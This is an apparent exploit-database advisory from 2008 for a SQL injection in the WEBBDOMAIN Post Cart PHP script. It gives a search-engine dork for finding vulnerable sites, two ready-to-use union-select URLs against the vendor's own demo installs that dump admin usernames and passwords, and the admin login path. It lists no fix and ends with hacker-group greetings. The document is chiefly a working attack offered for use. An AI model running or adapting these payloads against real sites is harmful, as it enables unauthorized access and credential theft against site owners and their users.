WEBBDOMAIN Post Cart <= 1.02 (catid) SQL Injection Vulnerability

2008-11-04 18:01:05

post Card ( catid ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home : www.IQ-TY.com & www.TrYaG.cc

MaiL : [email protected]
___________________________________

script : http://webbdomain.com/php/postcarden/index2.php
script : http://webbdomain.com/php/postcardir/index2.php

DorK : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______

post Card v 1.01

http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


post Card v 1.02
http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


Note : Exploit in Properties Picture


Login :
______
/admin




Greetz : All my freind


Im IraQi | Im TrYaGi

#

Fixes

No fixes

In order to submit a new fix you need to be registered.